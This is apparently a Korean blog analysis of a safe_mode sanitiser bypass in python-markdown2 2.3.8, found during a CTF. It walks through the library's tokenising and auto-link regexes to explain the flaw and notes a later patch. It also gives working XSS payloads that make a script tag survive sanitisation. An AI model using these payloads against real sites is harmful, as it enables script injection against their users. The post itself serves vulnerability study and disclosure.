[python-markdown2] safe_mode Filter bypass 분석글
개요
* 작성일 기준 version: 2.3.8 (https://github.com/trentm/python-markdown2/tree/4d2fc792abd7fbf8ddec937812857f13fded61cf)CTF하다가 markdown2 모듈을 사용하길래 해당 모듈 찾아보다가 아래 이슈를 발견하였다.
https://github.com/trentm/python-markdown2/issues/341
Filter Bypass ????!!
- Expected Result ```python >>> import markdown2 >>> markdown2.markdown("[<script>alert(1)</script>]()", safe_mode=True) '<p><a href="#">[HTML_REMOVED]alert(1)[HTML_REMOVED]</a></p>\n' ``` - Issue Payload ```python >>> import markdown2 >>> markdown2.markdown('<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>', safe_mode=True) '<p><http://g<!s://q?<!-<<a href="http://g"><script>alert(1);/*</a>->a><http://g<!s://g.c?<!-<<a href="http://g">a\\*/</script>alert(1);/*</a>->a></p>\n' ```???!! script 태그가 정상적으로 살아있는 걸 확인할 수 있다.
위 페이로드의 원리를 적용하여 아래와 같이 페이로드를 줄였다.
```python >>> import markdown2 >>> markdown2.markdown("<http://[<script>alert(1);//]()><http://[</script>]()>", safe_mode=True) '<p><http://<a href="#"><script>alert(1);//</a>><http://<a href="#"></script></a>></p>\n' ```
분석
먼저 safe_mode 동작에 대해 분석해보았다.- https://github.com/trentm/python-markdown2/blob/4d2fc792abd7fbf8ddec937812857f13fded61cf/lib/markdown2.py#L358-L359 ```python if self.safe_mode: text = self._hash_html_spans(text) ```
- https://github.com/trentm/python-markdown2/blob/4d2fc792abd7fbf8ddec937812857f13fded61cf/lib/markdown2.py#L1208-L1229 ```python def _hash_html_spans(self, text): # Used for safe_mode. def _is_auto_link(s): if ':' in s and self._auto_link_re.match(s): return True elif '@' in s and self._auto_email_link_re.match(s): return True return False tokens = [] is_html_markup = False for token in self._sorta_html_tokenize_re.split(text): if is_html_markup and not _is_auto_link(token): sanitized = self._sanitize_html(token) key = _hash_text(sanitized) self.html_spans[key] = sanitized tokens.append(key) else: tokens.append(self._encode_incomplete_tags(token)) is_html_markup = not is_html_markup return ''.join(tokens) ```safe_mode 시 html sanitize 과정을 수행하는 로직이다.
html 태그를 기준으로 split한다.
```python >>> import re >>> _sorta_html_tokenize_re = re.compile(r""" ... ( ... # tag ... </? ... (?:\w+) # tag name ... (?:\s+(?:[\w-]+:)?[\w-]+=(?:".*?"|'.*?'))* # attributes ... \s*/?> ... | ... # auto-link (e.g., <http://www.activestate.com/>) ... <\w+[^>]*> ... | ... <!--.*?--> # comment ... | ... <\?.*?\?> # processing instruction ... ) ... """, re.X) >>> >>> text = "xxx<foo aa=bb>yyyy<bar>" >>> _sorta_html_tokenize_re.split(text) ['xxx', '<foo aa=bb>', 'yyyy', '<bar>', ''] ```위 코드와 같이 markup 태그들을 split하며, 각 조건이 is_html_markup이 True, _is_auto_link이 False인 경우 html sanitize 한다.
아닌 경우에는 _encode_incomplete_tags 과정만 거친 후 tokens에 합친다.
- https://github.com/trentm/python-markdown2/blob/4d2fc792abd7fbf8ddec937812857f13fded61cf/lib/markdown2.py#L2167-L2173 ```python _incomplete_tags_re = re.compile("<(/?\w+[\s/]+?)") def _encode_incomplete_tags(self, text): if self.safe_mode not in ("replace", "escape"): return text return self._incomplete_tags_re.sub("<\\1", text) ``` ```python >>> import re >>> _incomplete_tags_re = re.compile("<(/?\w+[\s/]+?)") >>> _incomplete_tags_re.sub("<\\1", "<script></script>") '<script></script>' ``` 위 결과를 통해 확실히 html sanitize를 위한 코드가 아님을 알 수 있다. 즉, `is_html_markup` 또는 `_is_auto_link(token)`의 값을 컨트롤 할 수 있다면, 필터를 우회할 수 있다 ! `is_auto_link`를 확인해보면 아래 정규표현식을 이용해 존재 여부만을 확인한다. - https://github.com/trentm/python-markdown2/blob/4d2fc792abd7fbf8ddec937812857f13fded61cf/lib/markdown2.py#L2180 ```python _auto_link_re = re.compile(r'<((https?|ftp):[^\'">\s]+)>', re.I) ``` `<http://something>` 와 같이 존재하면 `_is_auto_link`에서 match를 통해서 **올바른 값인지는 체크하지 않고 존재의 여부**만을 가지고 리턴 값이 정해지기 때문에 해당 필터를 우회할 수 있다. 이후에 markdown 문법을 처리하지만, 문법 처리과정에서는 html sanitize과정이 없어서 이때 우회된 태그를 최종 결과 값에서 확인해볼 수 있다.
결론
분석해본 느낌 상 `[link name](LINK)` 문법과 `<http://LINK>`문법을 혼용하다보니 발생한 버그 같다.해당 이슈가 생성된지 오래지났는데 아직까지 패치가 이루어진 않고 있다.(v2.3.8)
라이브러리 도입 시 사용 방법이나 효율도 중요하지만, 버그 발생 시 어떻게 처리하는지도 중요하다고 생각되어진다.
+) https://github.com/trentm/python-markdown2/pull/350
해당 이슈에 대한 패치가 이루어짐.
댓글
댓글 쓰기